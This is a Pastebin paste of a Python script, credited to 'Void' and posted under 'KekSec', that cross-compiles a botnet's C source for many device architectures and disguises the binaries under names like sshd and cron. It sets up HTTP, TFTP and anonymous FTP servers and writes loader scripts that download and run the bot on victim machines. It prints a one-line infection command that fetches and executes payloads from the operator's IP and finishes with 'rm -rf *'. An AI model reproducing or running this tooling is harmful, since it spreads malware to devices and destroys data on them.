KekSec

Python Auto Cross Compiler

Nov 5th, 2016
1,725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.02 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6.     ip = sys.argv[2]
  7. else:
  8.     print("\x1b[0;31mIncorrect Usage!")
  9.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10.     exit(1)
  11.    
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16.     get_arch = True
  17. else:
  18.     get_arch = False
  19.  
  20. compileas = ["ntpd", #mips
  21.              "sshd", #mipsel
  22.              "openssh", #sh4
  23.              "bash", #x86
  24.              "tftp", #Armv6l
  25.              "wget", #i686
  26.              "cron", #ppc
  27.              "ftp", #i586
  28.              "pftp", #m68k
  29.              "sh", #sparc
  30.              "watchdog", #arm4l
  31.              "apache2", #arm5l
  32.              "telnetd"] #powerpc-440fp
  33.  
  34. getarch = ["http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2",
  35. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2",
  36. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2",
  37. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2",
  38. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2",
  39. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2",
  40. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2",
  41. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2",
  42. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2",
  43. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2",
  44. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2",
  45. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2"]
  46.  
  47. ccs = ["cross-compiler-mips",
  48.        "cross-compiler-mipsel",
  49.        "cross-compiler-sh4",
  50.        "cross-compiler-x86_64",
  51.        "cross-compiler-armv6l",
  52.        "cross-compiler-i686",
  53.        "cross-compiler-powerpc",
  54.        "cross-compiler-i586",
  55.        "cross-compiler-m68k",
  56.        "cross-compiler-sparc",
  57.        "cross-compiler-armv4l",
  58.        "cross-compiler-armv5l",
  59.        "cross-compiler-powerpc-440fp"]
  60.  
  61. def run(cmd):
  62.     subprocess.call(cmd, shell=True)
  63.  
  64. run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  65.  
  66. if get_arch == True:
  67.     run("rm -rf cross-compiler-*")
  68.  
  69.     print("Downloading Architectures")
  70.  
  71.     for arch in getarch:
  72.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  73.         run("tar -xvf *tar.bz2")
  74.         run("rm -rf *tar.bz2")
  75.  
  76.     print("Cross Compilers Downloaded...")
  77.  
  78. num = 0
  79. for cc in ccs:
  80.     arch = cc.split("-")[2]
  81.     run("./"+cc+"/bin/"+arch+"-gcc -static -D" + arch.upper() + " -lpthread -o " + compileas[num] + " " + bot + " > /dev/null")
  82.     num += 1
  83.  
  84. print("Cross Compiling Done!")
  85. print("Setting up your httpd and tftp")
  86.  
  87. run("yum install httpd -y")
  88. run("service httpd start")
  89. run("yum install xinetd tftp tftp-server -y")
  90. run("yum install vsftpd -y")
  91. run("service vsftpd start")
  92.  
  93. run('''echo -e "# default: off
  94. # description: The tftp server serves files using the trivial file transfer \
  95. #       protocol.  The tftp protocol is often used to boot diskless \
  96. #       workstations, download configuration files to network-aware printers, \
  97. #       and to start the installation process for some operating systems.
  98. service tftp
  99. {
  100.        socket_type             = dgram
  101.        protocol                = udp
  102.        wait                    = yes
  103.        user                    = root
  104.        server                  = /usr/sbin/in.tftpd
  105.        server_args             = -s -c /var/lib/tftpboot
  106.        disable                 = no
  107.        per_source              = 11
  108.        cps                     = 100 2
  109.        flags                   = IPv4
  110. }
  111. " > /etc/xinetd.d/tftp''')
  112. run("service xinetd start")
  113.  
  114. run('''echo -e "listen=YES
  115. local_enable=NO
  116. anonymous_enable=YES
  117. write_enable=NO
  118. anon_root=/var/ftp
  119. anon_max_rate=2048000
  120. xferlog_enable=YES
  121. listen_address='''+ ip +'''
  122. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  123. run("service vsftpd restart")
  124.  
  125. for i in compileas:
  126.     run("cp " + i + " /var/www/html")
  127.     run("cp " + i + " /var/ftp")
  128.     run("mv " + i + " /var/lib/tftpboot")
  129.  
  130.  run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  131.  
  132. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  133.  
  134. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  135.  
  136. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  137.  
  138. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  139.  
  140. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  141.  
  142. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  143.  
  144. for i in compileas:
  145.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  146.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  147.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  148.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  149.  
  150. run("service xinetd restart")
  151. run("service httpd restart")
  152. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  153.  
  154. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  155. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  156. print
  157. print("\x1b[0;32mCoded By Void\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment